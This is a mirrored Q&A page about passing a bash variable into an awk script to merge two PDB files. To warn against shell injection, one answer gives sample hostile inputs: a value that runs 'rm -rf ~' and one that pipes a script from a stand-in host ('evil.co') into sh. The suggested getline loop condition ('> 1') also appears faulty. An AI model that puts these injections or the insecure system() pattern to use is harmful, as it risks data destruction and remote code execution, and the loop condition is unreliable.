简体   繁体   中英

awk: using bash variable inside the awk script

The following bash code incorporates the awk code to fuse file1 and file2 in the special fashion, detecting some blocks in the file2 and inserting there all strings from the file1.

#!/bin/bash
# v 0.09 beta
file1=/usr/data/temp/data1.pdb
file2=/usr/data/temp/data2.pdb
# merge the both
awk -v file="${file1}" '/^ENDMDL$/ {system("cat file");}; {print}' "${results}"/"${file2} >> output.pdb

The problem that I can not use in the awk part the variable "file", which relates to the file1 defined in bash

{system("cat file");}

othervise if I past here the full path of the file1 it works well

{system("cat /usr/data/temp/data1.pdb");}

how I could fix my awk code to be able using directly a bash variable there?

The Literal (But Evil, Insecure) Answer

To answer your literal question :

awk -v insecure="filename" 'BEGIN { system("cat " insecure) }'

...will run cat filename .

But if someone passed insecure="filename; rm -rf ~" or insecure='$(curl http://evil.co | sh)' , you'd have a very bad day.


The Right Answer

Pass the filename on awk's command line, and check FNR to see if you're reading the first file or a subsequent one.

Use GNU Awk's readfile library:

gawk -i readfile -v file1="$file1" 'BEGIN { file1_data = readfile(file1) }
        /^ENDMDL$/ { printf "%s", file1_data } 1' ...

Alternative you can use a while ((getline < file1) > 1) loop to fetch the data.

This is easier with sed

$ sed '/^ENDMDL$/r file1' file2

inserts file1 after the marker.

to replace the marker line with the file1 contents

$ sed -e '/^ENDMDL$/{r file1' -e 'd}' file2

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM